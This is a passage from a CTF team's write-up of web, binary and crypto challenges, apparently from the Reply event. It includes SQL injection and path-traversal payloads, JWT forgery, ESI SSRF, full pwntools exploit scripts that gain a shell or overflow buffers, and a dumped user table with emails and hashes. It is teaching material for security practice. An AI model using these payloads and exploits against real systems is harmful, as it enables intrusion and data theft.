looks like a sort of file inclusion vulnerability. We can manipulate this parameter with Repeater function in BurpSuite (
ctrl+r
to send to the Repeater)note=/
with this parameter we are redirected to a page named troll… But in the source code of it there is an interesting comment:
<!-- TODO: review all the /secret notes and make them accessible. See: https://pastebin.com/TJMXHEB9 -->
We can access to the pastebin code but if we try with:
note=/secret/flag.txt
And get the flag!
Web 200
This challenge is a webpage with a search box for emojis. We can immediately see from the message.txt
file that there is a sqlite db on the backend side.
Inspecting further the code snippet contained in the message we can see that there is a custom sql escape done before a unicode normalization, this means that we can send a query written in unicode characters and this query would be normalized to the ascii version bypassing the filter. We used a unicode fullwidth converter to write the queries in unicode.
So, we sent a query to list the sqlite tables and columns:
' union SELECT 'prefix',90,'prefix',name from sqlite_schema --
' union SELECT 'prefix',90,'prefix',name from pragma_table_info('r3plych4ll3ng3fl4g') --
After that we could create the query that would print us the flag:
' union SELECT 'prefix',90,'prefix', value from r3plych4ll3ng3fl4g --
{FLG:O0O0OP5_1_H4V3_B33N_PWN3D_(54DF4C3)!}
Web 300
We are presented with a sock shop, with six clickable products, each one with a dedicated page but without meaningful interactions. The navbar presents “Login”, “Register” and “About Us” links; register does only redirect on the homepage, while login presents the login form (with which we cannot login, since we cannot register).
The about us page allow us to discover that there are two founders (@gigi and @tony1987) which are presumably admin accounts. There is also a open position for a developer.
The developer position has a clickable card that follows the link
/24bfaaddbd56755e48876b92144c1be38d56de29/open_position?position=developer
Which we found to be an open redirection
and changing developer
to an external URL, we are effectively redirected to the website
e.g.
/24bfaaddbd56755e48876b92144c1be38d56de29/open_position?position=https://www.google.com
redirects us on google homepage.
We found that the website sets a cookie access_token_cookie
which is a JWT for the current user session
Analyzing it on jwt.io:
we can see that the websites exposes at the /jwks
endpoint the public key related to the private key used to sign the certificates.
we can also see that we are logged in as an anonymous
user.
This suggested us that we could use the open redirection to modify the jwt in order to show an handcrafted jku
, pointing at a public key generated by us, thus allowing us to sign the certificates with our private key.
We then tried to locally host a public key and tried to make the website reach for it by setting up a public ip with ngrok
. Since no requests passed through, we discovered that external URLs where filtered.
e.g.
jwtHeader = {
...jwtHeader,
"jku": "127.0.0.1:5000/24bfaaddbd56755e48876b92144c1be38d56de29/open_position?position=NGROK_URL"
}
By looking up the request at the open redirection link, we found a custom HTTP Header
ReplyFW-ALLOWED-INTERNET: https://gist.githubusercontent.com
Which hinted that we could reach content hosted on GitHub gists. We then proceeded to host our public key on gist and were able to correctly sign JWTs.
By looking at the About Us page, we guessed that the admin could be one of the two listed users, so we tried to change "sub": "anonymous"
in the jwt to "sub": "gigi"
, since it was listed as ‘Sys Admin’.
The website correctly accepted our JWT and we were identified as admin.
The admin page then asked us for a verification code.
Analyzing the link http://gamebox1.reply.it/24bfaaddbd56755e48876b92144c1be38d56de29/verify_registered?key=4c012936c5246171bfa1908f81a5eead
we discovered that the key query value 4c012936c5246171bfa1908f81a5eead
was and md5 of an username (mike1991
)
So we could try to use the username of the admin to obtain the correct key. Trying with the md5 of gigi
yielded no results, so we tried to guess from mike1991
that we needed the birthyear of the admin.
By going back on the About Us page, it is mentioned that @tony1987 and @gigi are twins, so the year must be the same.
Then by visiting
http://gamebox1.reply.it/24bfaaddbd56755e48876b92144c1be38d56de29/verify_registered?key=55060d3ca52960cb070c5692a0cc814e
We could obtain our verification code
Which made us reach the admin page with a verified account
Each text input field made a POST request when clicking on Update
to
http://gamebox1.reply.it/24bfaaddbd56755e48876b92144c1be38d56de29/f1103cad4b0542c69e23b267e173799295c4f217
But that did not seem to change anything on the page or give interesting responses, whichever input we gave it.
On the other hand, the Download report
button downloaded the file 22-10-orders.txt
with the content
No orders yet :'(
The name of the file is specified in the POST request data
{
"report":"22-10-orders.txt"
}
by changing the file name we were presented an error if the file was not present on the server (for example flag.txt)
Unexpected error: the file does not exist or you do not have permissions to read it:
/home/web3/reports/flag.txt
so we could then discover that we were in the folder reports
in the home directory of the user web3
.
We then tried to see if we had access to path traversal, but using a filename such as ../flag.txt
; we saw that the ../
were escaped/filtered in the response.
By applying a simple anti-filtering technique we could have access to path traversal with ....//
With the payload
{
"report": "....//flag.txt"
}
the output was finally
Unexpected error: the file does not exist or you do not have permissions to read it:
/home/web3/reports/../flag.txt
But we still had no access to the file or it was not present on the server.
We then tried all common files present on a linux home folder, and we discovered the presence of the .bash_history
file.
As a response we got
and in particular we discovered the presence of /home/web3/scripts/run_webapp.sh
And with the final payload
{
"report": "....//scripts/run_webapp.sh"
}
we got the response
python /bin/webapp/app.py -f {FLG:Le4ve_my_S0cks_4l0ne}
Web 400
We’re presented with a simple website with a news tab containg some informations regarding a possible Edge-Side-Includes
implementation inside the server.
Further investigating the functionalities of the webpage we find a contact page that renders an ESI payload inside the contact request body.
Sending as payload <esi:include src="http://example.com/">
gives us <esi:error hidden="">Hostname or port not in whitelist. Hosts allowed: ['172.20.0.4']; Ports allowed: [5000].</esi:error>
as rendered body.
So we start digging inside this internal network endpoint, and we could easily find some useful informations inside the robots.txt file:
User-agent: *
Disallow: /graphql
Disallow: /test
Inside /test we could see a message:
This is a test page I made to check if the Authorization header has been correctly added to the requests coming from the ESI server.
If you see your username below, then this request was correctly authenticated and your ESI server can successfully communicate with this machine and its services (e.g., graphql).
Username: esi-user
To other developers on the team: recall that we also have an ESI tag that can access values of specific request headers (esi:header).
Trough this endpoint we could see that using
<esi:header name="Authorization">
we would get as a response our Authorization header that we added to the outside request.
We also found out that if we didn’t send any Auth header a default one would be added:
ZXNpLXVzZXI=:MTY2NTQ4MDYzMQ==
which decoded is esi-user:1665480631.
With the password being souspiciously similar to a timestamp.
Next we started quering the graphql endpoint, trough simple requests we could get the objects declared in the environment:
{"data":{"__schema":{"types":[{"name":"User"},{"name":"ID"},{"name":"String"},{"name":"UserExtended"},{"name":"Boolean"},{"name":"UsersResult"},{"name":"UserResult"},{"name":"FlagResult"},{"name":"Query"},{"name":"__Schema"},{"name":"__Type"},{"name":"__TypeKind"},{"name":"__Field"},{"name":"__InputValue"},{"name":"__EnumValue"},{"name":"__Directive"},{"name":"__DirectiveLocation"}]}}}
After that we inspected the Flagresult object:
{"data":{"__type":{"fields":[{"name":"success"},{"name":"errors"},{"name":"flag"}
So we started querying for this object but we couldn’t get the flag and printing the errors attribute we get:
{"data":{"flag":{"errors":["Only user 'admin' can perform this operation."]}}}
So we need to login as admin to get this flag. Upon searching a little deeper in to the graphql environment we find that a type User includes a last login timestamp. So we tried getting the flag using the admin last login timestamp as a password.
We added the Authorization header: Authorization: YWRtaW4=:MTY2NTY0OTUxMQ==
And we could successfully get the flag trough the simple graphql query:
<esi:include src="http://172.20.0.4:5000/graphql?query={flag{flag}}">
Response:
{"data":{"flag":{"flag":"{FLG:XSS_4nd_SSRF_f0rb1dd3n_ch1ld}"}}}
Binary (4/5)
Binary 100
This was a reverse challenge. The provided file is a 64-bit ELF that asks to find the right word (and prints Wesley the cat). Trying to insert a random word, the binary returns an error on the word length and terminates. Using ghidra and IDA to decompile the binary, it is evident from the main how the required length is 24. Trying to insert a 24 length word, the returned error changes. Now we have to understand which word the binary expects to receive. From the decompiled code we can see 24 different checks on each character of the input. Each of them considers the chars as numbers (double) and performs some mathematical operations. At the end, we just need to solve an algebraic system and then convert the results into printable characters. We wrote a z3 script to do it.
buf_d = [z3.Real(f"{i:02}") for i in range(24)]
solver = z3.Solver()
solver.add (buf_d[15] == 91.0)
solver.add (buf_d[18] == 91.0)
solver.add (buf_d[0] + buf_d[0] + 11.0 == buf_d[0] + 130.0)
solver.add (buf_d[23] + buf_d[23] + 6.0 == buf_d[23] + 127.0)
solver.add (buf_d[1] * 7.0 == buf_d[1] + 396.0)
solver.add (buf_d[22] == 104.0)
solver.add ((buf_d[2] + 2.0) * 3.0 - 2.0 == (buf_d[2] - 17.0) * 4.0)
solver.add (buf_d[21] == (buf_d[21] + buf_d[21]) - 44.0)
solver.add (buf_d[3] == 67.0)
solver.add ((buf_d[20] * 3.0 - 2.0) * 3.0 - (buf_d[20] * 5.0 + 2.0) * 4.0 ==buf_d[20] * -8.0 - 146.0)
solver.add ((buf_d[4] * 5.0 - 2.0) * 5.0 - (buf_d[4] + buf_d[4] + 7.0) * 6.0 ==buf_d[4] * 33.0 - 1132.0)
solver.add (buf_d[19] == (buf_d[3] + buf_d[20]) - 16.0)
solver.add ((buf_d[5] + buf_d[5]) / 3.0 == (buf_d[5] + 44.0) / 3.0)
solver.add (buf_d[17] == 49.0)
solver.add ((buf_d[6] * 8.0 + 15.0) * 0.1666666666666667 ==(buf_d[6] + buf_d[6] + 81.0) * 0.5)
solver.add (0.0 - buf_d[16] / 5.0 == 36.0 - buf_d[16])
solver.add ((buf_d[7] * 7.0) / 2.0 == buf_d[7] * 3.0 + 23.5)
solver.add (buf_d[14] == buf_d[14] / 2.0 + 48.0)
solver.add (buf_d[8] == 110.0)
solver.add (buf_d[13] == buf_d[14] / 2.0 - 1.0)
solver.add (buf_d[9] == 104.0)
solver.add ((buf_d[12] == buf_d[11]) , (buf_d[11] == 108.0))
solver.add (buf_d[10] == 48.0)
assert solver.check() == z3.sat
m = solver.model()
word = ''
for el in buf_d:
evaluation = m.evaluate(el)
value = round(float(evaluation.as_fraction()))
word += chr(value)
print('The word is:', word)
Our script returned the string wBHC6,r/nh0ll/`[-1[_,,hy
that actually is accepted by the binary that returns the message Word found! But it's not the flag. Awww :3
.
Now we have to undestand where the right flag is.
From the decompiled, we can see how, after the checks, the strings are used and altered in some way. Unfortunately, neither ghidra and IDA decompile this part in an acceptable way.
We decided to try a dynamic approach. Since the binary calls a ptrace, it is needed to patch the code and avoid the tracing before running the challenge with gdb. Performed this step, it is pretty easy to see how each character of the word is incremented by 4.
Hence, the final string is the actual flag.
flag = ''
for l in word:
flag += chr(ord(l)+4)
print('The flag is:', flag)
{FLG:0v3rl4pp3d_15_c00l}
Binary 200
A Docker container with the challenge is provided. The binary is a Linux 64-bit ELF
. We openend it in IDA to reverse engineer it.
When started, the service asks for a password. From IDA, we can recover it.
strcmp(s1, "secret_passwd_anti_bad_guys")
Succesively, he random seed is init to time(0)
, and two function are invoked.
From this moment on, for the sake of the writeup, we consider the binary loaded at address 0x0
.
The first one, sub_13E7
, prints some introduction messages, and call the function sub_12F2
. There we discover the existence of sub_1245(int n)
. It generates a random string of n characters. Each character is generated by taking a random character from the string abcdefghijklmopqrstuvwxyz
. It’s done by generating a random index with libc’s rand()
function. We notice sub_12F2
is invoked 11 times, each time with length 5 as paramater.
The succesively invoked function is the main loop of a game. You insert the string corresponding to a move, and the corresponding function is called. The Help
move shows the available moves.
"Help print help menu"
"Exit close the connection"
"Jump move to the next plant"
"GetName get planet name"
"Rename rename planet"
"Check check if you can overflow the stack"
"GoBack move to the previous planet"
"Search looking for Zer0"
"Nap Get a nap"
"Admin Access as Admin"
The most interesting move is Admin
. From the array of function pointers at 0x19CE
, we open sub_17D3
, that is the one associated to Admin
. It asks for a secret password of 30 characters ,randomly generated by sub_1245
. If it’s correct, sub_1886
is invoked, asking for a command (up to 8 characters) to pass to system
primitive.
We know that, in program initialization, random seed is intitialized to time(0)
and rand
function is invoked 11 * 5
times before the password is generated.
So the attack plan is
- Open
libc
in exploit withCDLL
python’s library - Open the connection to the service
- Immediately call in the exploit
libc.srand
to set random seed tolibc.time(0)
. This allows to have locally the same seed used remotely - Generate
5 * 11
random values, to bring thePRNG
state to the same one before passowrd generation - Generate the 30 characters secret password
- Use the
Admin
move - Send the generated password
- Call the
/bin/sh
command - Get the flag!
Final exploit
from pwn import *
from ctypes import *
# PWN 200
CHARS = b"abcdefghijklmnopqrstuvwxyz"
def get_password(n):
password = b""
for i in range(n):
password += CHARS[libc.rand() % 26].to_bytes(1, "little")
return password
# TLDR: Seed can be guessed very easily given that it is initialize with time(0)
# c = process("./challs")
c = remote("gamebox3.reply.it", 2692)
libc = CDLL("libc.so.6")
libc.srand(libc.time(0))
c.recvuntil(b"Passwd: ")
c.sendline(b"secret_passwd_anti_bad_guys")
c.recvuntil(b">")
c.sendline(b"Admin")
for i in range(5 * 11):
libc.rand()
password = get_password(30)
print(password)
print(len(password))
c.sendline(password)
c.interactive()
Binary 300
A Docker container is provided with this challenge. Looking at Dockerfile and start.sh files, the service bin/challenge is exposed on the network when the container is started.
So, after understanding that challenge
is a Linux ELF 64-bit binary, we opened it in IDA to reverse engineer it.
When the main function is called, the service asks for a password (easily recoverable from the check_password
function, and it’s ae86b59869f0806b5f53b_be20c200469a9a0ebfdbbe4__
). We are now asked for an input. With input 8
, we are able to print a menu of functions.
Options:
1. Create secret
2. Delete secret
3. Show secret
4. List secrets
5. Change codes
6. Change password
7. Show codes
8. Help
9. Exit
From this moment on, for the sake of the writeup, we consider the binary’s base address 0x0
Some global variables discovered during the analysis, and that will be used further in this writeup are:
aTmpSecret1
: the address of the first element of an array of strings, from this moment on calledsecretsPath
; it’s located at0xC010
code1
andcode2
, two32-bit
integers located respectively at0xC040
and0xC048
A recurrent function that is called during the execution is get_secret_dir
. It asks for a secret number num
, such that 0 < num <= 3
(out of this range, num
is set to 1). Then, it returns the pointer to the num - 1
-th element of secretPath
array.
-
Create secret:
First of all, the functionget_secret_dir
is called. Than user is prompted for apassword
and amessage
. At the end, it creates the secret on the filename returned byget_secret_dir
. The content written on the file can be retrieved from this function invocation.fprintf(stream, "%s%s%p%p\n", password, message, (const void *)code1, (const void *)code2);
\ -
Delete secret:
Throughget_secret_dir
retrieves the number of the secret to delete, and delete the corresponding file usingunlink(filename)
- Show secret:
It asks for a preuth key- If it’s provided
0x13371337
, it asks for a secret number following the same assignment logic ofget_secret_dir
function - If it’s provided
0xdeadbeef
, the secret number is set to 1.
Than, it tries to open the corresponding secret file, asks for the password, and if it’s correct, it prints the content of the chosen secret.
- If it’s provided
-
List secrets:
This option checks for the existence of each file in thesecretPath
array, and prints out the filename of existing files. -
Change codes:
Allows you to change the content ofcode1
andcode2
variables, and to callShow secret function
, if answer to question prompt isy
. You are allowed to changecode1
andcode2
only by providing 0x13371337 pre-auth key; it’s prompted only if you negatively answer to also callShow Secrets
-
Change password:
Not available option, since it just prints#TODO
- Show codes:
printf("code1:%p code2:%p\n", (const void *)code1, (const void *)code2);
it just prints in hexadecimal format the content ofcode1
andcode2
global variables.
While deepely reverse engineering each function, we found some interesting facts:
- in
show_secrets
function, when checking the file password, functionsub_19D9(input_password, file_password)
is called. It returnsTrue
either if it’s entered the corret password of the file, or the backdoor passwordWild BackD00r appeared!
- in
show_secrets
function, the secret number validation is broken;
if ( num > 0 && num <= 4 && (--num, filename = &aTmpSecret1[16 * num], (stream = fopen(filename, "r")) != 0LL)
previously allowed values for secret number were1,2,3
, while here also 4 is accepted. Moreover, the filename that will be opened is&aTmpSecret1[16 * num]
. Since&aTmpSecret1
is 0xC010, with num == 4 we access to 0xc040, that is the address ofcode1
. We have control of it!
So, to get the flag, the attack plan is:
- Call
Change code
function, and set code1 and code2 to some numbers that, as string, will be interpreted as flag file path (from Dockerfile, binary is launched from /home/ctf directoty, and from there relative path to the flag ishome/flag.txt
). To do this, we set code1 to7020098272914927464
, and code2 to500237086311
. In fact, ```python from pwn import *
In [4]: p64(7020098272914927464) Out[4]: b’home/fla’
In [5]: p64(500237086311) Out[5]: b’g.txt\x00\x00\x00’
- Call `Show Secrets` with preauthkey 0 and any password. This is needed to set the variable holding the `preauthkey` to 0, so that each primitive is invoked with `preauthkey` 0 (different to `0xdeadbeef` or `0x13371337`).
- Call`Change Codes`, allowing to successively call `Show Secrets`.
- `Change Codes` will be called with `preauthkey` 0, that was set by the previous call to `Show Secrets`
- The input codes will be `code1 = b"A" * 31` and `code2 = b"B" * 28 + b"\x04\x00\x00"`. This allows to dirt the stack frame of the successive call to `Show Secrets`. In particular, the input for `code2` allows to have secret number 4 when calling `Show Secrets`. Pay attention that codes won't be changed, since `preauthkey` is not 0x13371337, leaving `home/flag.txt` as content of `code1` and `code2`
- when `Show Secrets` is invoked, no secret number is asked, since `preauthkey` is set to 0, and the value will be `4`. The provided password is the backdoor one.
The last invocation to `Show Secrets` openend the file flag.txt, the check for password was bypassed with backdoor password, and we got the flag!
Final exploit:
```python
import string
from pwn import *
def create_secret(secret, password, msg):
c.recvuntil(b'>')
c.sendline(b"1")
c.recvuntil(b'Insert secret (0 < index < 4):')
c.sendline(str(secret).encode())
c.recvuntil(b'Insert password:')
c.sendline(password)
c.recvuntil(b"Insert msg:")
c.sendline(msg)
c.recvuntil(b"Secret created")
def delete_secret(secret):
c.recvuntil(b'>')
c.sendline(b"2")
c.recvuntil(b'Insert secret (0 < index < 4):')
c.sendline(str(secret).encode())
c.recvuntil(b'Secret deleted')
def show_secret(preauthkey, password, secret = None):
c.recvuntil(b'>')
c.sendline(b'3')
c.recvuntil(b'Insert pre-auth key')
c.sendline(preauthkey)
c.recvuntil(b"Invalid index\n")
def list_secret():
c.recvuntil(b'>')
c.sendline(b'4')
c.recvuntil(b"List of secrets:")
leak = c.recvuntil(b'Done list of secrets')
return leak
def change_codes(code1, code2, access, preauthkey = None, secret = None, password = None):
c.recvuntil(b'>')
c.sendline(b'5')
c.recvuntil(b"Do you want to call 'Show secret' function also")
c.sendline(access)
if access == b'n':
c.recvuntil(b'Insert pre-auth key')
c.sendline(b'322376503')
c.recvuntil(b'Insert code 1')
c.send(code1)
c.recvuntil(b'Insert code 2')
c.send(code2)
if access == b'y':
if preauthkey == 0x13371337:
assert secret is not None
c.recvuntil(b'>')
c.sendline(b'3')
c.recvuntil(b'Insert pre-auth key')
c.sendline(str(preauthkey).encode())
if preauthkey == 0x13371337:
c.recvuntil(b'Insert secret (0 < index < 4)')
c.sendline(str(secret).encode())
c.recvuntil(b'Insert password')
c.sendline(password)
leak = c.recvuntil(b"Done")
return leak
def change_codes_final(code1, code2, password):
c.recvuntil(b'>')
c.sendline(b'5')
c.recvuntil(b"Do you want to call 'Show secret' function also")
c.sendline(b"y")
c.recvuntil(b'Insert code 1')
c.send(code1)
c.recvuntil(b'Insert code 2')
c.send(code2)
c.recvuntil(b'Insert password')
c.sendline(password)
leak = c.recvuntil(b"Done")
return leak
def show_code():
c.recvuntil(b'>')
c.sendline(b'7')
leak = c.recvline()
return leak
c = remote("gamebox3.reply.it", 3527)
c.send(b"ae86b59869f0806b5f53b_be20c200469a9a0ebfdbbe4__")
change_codes(b"7020098272914927464".ljust(31, b"\x00"), b"500237086311".ljust(31, b"\x00"), b'n')
show_secret(b"0", b"not_important")
leak = change_codes_final(b"A" * 31, b"B" * 28 + b"\x04\x00\x00", b"Wild BackD00r appeared!\x00")
print(leak)
c.interactive()
Binary 400
This challenge provides a 64-bit ELF, a kernel module, and a bash script to start a qemu instance. The bash script also contains some comments with a link to a Ubuntu ISO and the kernel version to use. No qcow2 image was given.
We spent a bit to set up the right environment. In detail, we:
- downloaded the linked Ubuntu ISO image;
- run qemu with the bash script adding the
-s
option to allow an easy gdb attach; - created the user
user
as required by the challenge binaries; - inserted and loaded the kernel module and granted the right permission to the created device;
- started pwnme (it spawns a socket to which we can connect to interact with the actual challenge).
We reversed both the ELF and the kernel module using ghidra and IDA.
At the very beginning, the challenge asks to verify our identity. If a random answer is provided, the challenge does not allow to go further.
Analyzing the function that verifies the identity, it is easy to see how our input is compared with a hardcoded string.
Taking into account the endianness, the right identity is hence _g3nn4r0_f3r10p3z_
.
Now, we have four different actions that the challenge allows to perform:
- discover dimensions: prints some portal ids;
- dimension info: prints some information associated with a specific dimension. One of this information is called flg (is it the flag slot?). It requires to first select the dimension using the option 3;
- select dimension: allows to select a specific dimension. If the provided dimension id is lower than 1, it is put equal to one;
- write message: allows us to write something and prints a message from the portal. This portal message is randomly chosen from a set of hardcoded strings. It requires to first select the dimension using the option 3;
To easily interact with the challenge, we wrote some primitives in python using the pwntools like the following ones.
def check_identity():
io.recvuntil(b'#> ')
io.sendline(b'_g3nn4r0_f3r10p3z_')
def discover_dimensions():
io.recvuntil(b"[>] yOUR cHOICE:")
io.sendline(b'1')
leak = io.recvline()
return leak
def get_dimension_info():
io.recvuntil(b"[>] yOUR cHOICE:")
io.sendline(b'2')
selected = io.recvline()
leak = io.recvline()
return selected, leak
def select_dimension(dimension):
io.recvuntil(b"[>] yOUR cHOICE:")
io.sendline(b'3')
io.recvuntil(b'yOUR sELECTION: ')
io.sendline(dimension)
def send_message(payload):
io.recvuntil(b"[>] yOUR cHOICE:")
io.sendline(b'4')
io.recvuntil(b'wRITE yOUR mESSAGE:')
io.sendline(payload)
io.recvuntil(b'mESSAGE fROM tHE dIMENSION')
leak = io.recvline()
return leak
Reading the decompiled code, we noticed a 8-bytes overflow in the send message option. In brief, the code reads 0x400 bytes in a 0x3f8 long buffer. In this way, we can overwrite some information like the id and some other values that we did not know how to use at this point.
Now we should understand better how the module works. The get dimension info function (that should print the flag) calls the greentooth_ioctl, so we first focused our attention on how the passed parameters are used by it.
We analyzed the code behaviour both statically and dynamically.
The first two dimensions (id1 and id2) are different w.r.t. the other ones and contain some info that are set to zero for the other ids. Indeed, in the kernel module code, there is some hard coded data. More interesting, the id 1 dimension data contains the string {FLG:7h15_15_7h3_f14g}
in the position where there should be the flg info.
Now we know where the flag is but we need to understand why it is not printed when we call the print dimension info option with id 1.
We reversed the simple_a2mp_getinfo_req
function of the kernel module and noticed how the information retrieved was different according to the sign of a specific parameter. If this parameter is positive, simple_a2mp_produce_getinfo_rsp
is called and the flag is not returned. The parameter value depends on the arguments passed to ioctl by pwnme. It is not directly controlled by the user but is stored in memory in the byte after the dimension id, in the range of the overflow described above. Actually, the first overflowed byte is the id and the second one is the simple_a2mp_produce_getinfo_rsp
activation parameter.
Hence, the final attack pipeline is the following one:
- select the dimension to access to all the options (send message and get dimension info);
- send a message that overflows the parameters passed to ioctl. The id byte is overflowed with 1 (the dimension with the flag), while the following one with 0x80 (-1);
- call the get dimension info option.
select_dimension(b'1') payload = b'A'*0x3F8 + b'\x01' + struct.pack('<B', 0x80) send_message(payload) print(get_dimension_info())
The result is:
b' sELECTED: 8001\n', b'{"code":"A2MP_GETINFO_RSP", "id": "1", "status: 0x1", "total_bw: 0", "max_bw: 0", "min_latency: 0", "pal_cap: 0", "assoc_size: 0", "flg: {FLG:~wh04_inf0134k_ch4mpi0n~}"}\n'
Crypto (3/5)
Crypto 100
We were given a pdf file containing an image of a lair of some sort and 3 QR codes. First thing to do is obviously read the QR’s, which gave us three 32-bytes strings, but then we needed to know what to do with them.
At the beginning of the challenge we didn’t know what a NFT was, so… we tried to guess some operation on these strings, but nothing made sense.
After too much useless guesses I started googleing the challenge title and discovered what we had been given.
On the site https://goerli.etherscan.io/ we found three transactions with the IDs we had previously found, and finally each of them led us to an image of a Rune.
It was nothing like Tolkien elvish nor Viking runes, it was probably autogenerated with AI, so we started checking the image files with binwalk
or exiftool
with no results. At last we guessed that they had nothing to do with the challenge and took a better look at the transactions’ parties.
The sender did another transaction just before the others, so we searched in it. We used CyberChef to decode the contract, which looked exactly like the others.
Fortunately, serching all of the strings, we found the flag at the end!
Crypto 200
The challenge gives us the parameters of a GET request encrypted with AES-CBC and wants us to forge a new one with a different username. The last block is just padding so we can do a bitflip attack xoring the previous block with the result of xor(b"\x10"*16, f"&user={username}".encode().ljust(16, b"\x00"))
After trying every possible username we could come up with, we gave another look at note.txt
, which had an interesting message:
# challenge title
Don't forget the best bits
# examples
Cleartext: message%3DFor%20a%20fullfilling%20experience%20embrace%20listen%20to%20new%20music%2E%20Pay%20attention%20to%20details%2C%20titles%20are%20important%2E%20And%20remember%2C%20music%20it%27s%20flipping%20amazing%26user%3Dmario
[...]
We unquoted the cleartext just to make it more readable:
>>> from urllib.parse import unquote
>>> unquote('message%3DFor%20a%20fullfilling%20experience%20embrace%20listen%20to%20new%20music%2E%20Pay%20attention%20to%20details%2C%20titles%20are%20important%2E%20And%20remember%2C%20music%20it%27s%20flipping%20amazing%26user%3Dmario')
"message=For a fullfilling experience embrace listen to new music. Pay attention to details, titles are important. And remember, music it's flipping amazing&user=mario"
>>>
This clearly meant that the challenge title was somehow going to tell us the username, and it must be something related to music. We searched “don’t forget the best bits” on Google and one of the first results was the lyrics to a song by Franz Ferdinand: https://genius.com/Franz-ferdinand-billy-goodbye-lyrics. The title of the song was “Billy Goodbye”. We were desperate, so we tried “billy” as the username, and unexpectedly we got the flag.
Final script:
import requests as r
from urllib.parse import quote
from Crypto.Util.Padding import pad
def xor(a, b, c):
return bytes([x ^ y ^ z for x, y, z in zip(a, b, c)])
ctx = bytes.fromhex("482c74deadaee362185c315aa10bcd02c96d2417fe3d1adf7fd90da2da95ca16ff9bb7b20b1ed3ac22c93bd3ac7f8d790768379407181f93bbc2c5bde5da5a4e47b400ed0827d815c47b4793349d894a557dd4436a7e2d7967b09faeff6b7037e5ba40202e850c0640414ffd651847bff2fe50ac248ac63cd595339b6fa9ee78f2835d29176d524ab9116894eab6ad5fd56c6600670d1f5bc4e48dfdaed740d1e3b3f1c05a067fbeb69e0a67226755569f185120d5b393131ecd3c209123994135a62d029cc5072264cd6ca306a7d1fc8a63ae9b9675ecace48745f049d5d742639e2df80675ad114938eb641a8b1704")
(ctx, to_edit, last_block) = (ctx[:-32], ctx[-32: -16], ctx[-16:])
ptx = pad(quote(b"").encode('unicode_escape'), 16, style='pkcs7')
user = "billy"
target = pad(f"&user={user}".encode(), 16, style='pkcs7')
print(target)
to_edit = xor(to_edit, ptx, target)
ctx = ctx + to_edit + last_block
assert len(ctx) == 240
res = r.post("http://gamebox1.reply.it/14de018c45487063d3bc11fe33ac7e6996914988/", data={"ciphertext": ctx.hex()})
print(res.content)
Crypto 300
The challenge gives us an unspecified 5MB file.
file
tells us nothing. We opened the file with a hex editor, and noticed that there were several repeated sequences of bytes like '\xaa\xbb\xcc\xdd
. Since this is a Reply crypto challenge with no source code, we guessed this was probably a repeated XOR. We quickly decoded the actual file:
def xor(x, y):
return bytes([a^b for a, b in zip(x, y)])
with open('challenge') as f:
s = f.read()
with open('challenge2', 'wb') as f:
f.write(xor(s, b'\xaa\xbb\xcc\xdd'*10**7))
We got what looked to be a disk image, so we mounted it and we saw a few of files.
One of these files was hint.txt
, which contained the following text:
The key to open the zip file is a compound word.
The first word is found within the sqlite file, the second is the maiden name of the lady in the picture.
So we had to somehow decode the picture and read the contents of the sqlite file in order to decrypt the rsa.zip
archive.
Another file in the archive is a pickle object (dict.pkl
). Opening it in a Python REPL shows that the content is a single dictionary, with a bijective mapping from 0-255 to 0-255. Since this is a Reply crypto challenge with no source code, we guessed this is probably used for a byte-to-byte substitution cipher.
The picture mentioned by the hint is a noisy grayscale BMP image. Grayscale is represented well with a single byte per pixel, so we guessed this was encrypted with the pickle dictionary. We recovered the image with Pillow:
from PIL import Image
im = Image.open('portrait.bmp')
with open('dict.pkl', 'rb') as f:
sub = pickle.load(f)
for x in sub:
rev[sub[x]] = x
new = bytes([rev[i] for i in im.tobytes()])
newimage = Image.frombytes('L', im.size, new)
We got to this image: Which, with a quick Reverse Image Search, we found out to be Ozzy Osbourne’s mother, Lillian Unitt.
To read the sqlite database, we just installed sqlite, opened it with sqlite3 mywonderfulwebapp
, read the schema with .schema
, read the contents with SELECT * FROM users;
.
So the contents of the sqlite file are:
1|anonymouse|ddrussery@emailaing.com|592f3eab7921a05e13f89713e5d38953a1e91377dce316feeddafec6e79210a0|1948-12-03
2|regina_phalange|marselmannanov@tqc-sheen.com|db3fe1d185a9de6df0f026bd269302acb5f7783d8474a9382f96a7e914f397ef|1952-10-09
3|potatoxchipz|t2003cubs@nautonk.com|dfa21928c1d4af9ec27d927b68bd665af1360297a81d31799ee5e84f333b59fa|1984-10-27
4|churros4eva|mojdom@saxophonexltd.com|7ec802283374aed5389db2fc4aac488e6e799bbcdd2c8ed5a0c6a080cf2604dc|1985-11-08
5|hakuna_matata|joechu@omdiaco.com|2c671d707baa7b47a037f9df07fbe9eb632b6f8387f177eab188a3d89c874a77|1963-05-25
6|kokonuts|michadav@hungta2.com|f19b7f5f22152b693819b5a3cb3255b48deb89b24380cf6c961cf614fbcbc8f6|1933-03-14
7|notfunnyatall|n96237d@cudimex.com|8d0cfd6182ef851052565eb5c11e79f73c691307f7b6ddb877b4303cc726f260|1930-02-10
8|cereal_killer|barbyoropeza@24hinbox.com|b5bafafc8a5142819ae993d0cc2abb1e21e617476bc5776e87587bfde365ec37|1974-02-08
9|heisenberg_blue|shaneyreid91@yt-google.com|458884f76578e91da700f786b5fae22afc4ff401b0b6642257e111160e38279f|1953-07-11
10|hackmarco|assuero@maintenances.us|eee6264c2bdc34894da6da5423d7a70f9cd8bfd36adb1cbcec56ab054fd6e4aa|1969-01-01
11|nombnots|pawol69087@ekbasia.com|8a8b3febf641c615702c17731e0ca85896b27a331f33e95bc8b436b7e1a949f5|1988-02-10
12|chunkamunk|cityve@lyricspad.net|74a05867a8215ffe1f28abeafbb626fdec46743276a9e937fcb42c6e5dc337f8|1991-03-23
13|monkey_butt|mudraporko@vusra.com|0d95887bd691678043195f1644efcde7312b71f6d4216a6aeb6bd7e30cfc5dd6|1979-06-22
14|screwball|lucumazu@teleg.eu|fbebd681120a1fc8906c5593f07265669d9130cbc06fdc08a7a30b08d24437de|1983-08-28
15|troublemaker|nusavufi@kellychibale-researchgroup-uct.com|9f13deb22cc66b56291845890646590c57b5d6d9108e9b2d9d46365d189aa271|1966-06-06
Since we had a lot of combinations to try, we wrote a script that would try all of them:
#!/usr/bin/env python3
import pyzipper
words = [
'anonymouse',
'mouse',
'regina_phalange',
'regina',
'phalange',
'potatoxchipz',
'potato',
'chipz',
'churros4eva',
'churros',
'eva'
'hakuna_matata',
'hakuna',
'matata',
'kokonuts',
'nuts',
'notfunnyatall',
'not',
'funny',
'at',
'all',
'cereal_killer',
'cereal',
'killer',
'heisenberg_blue',
'heisenberg',
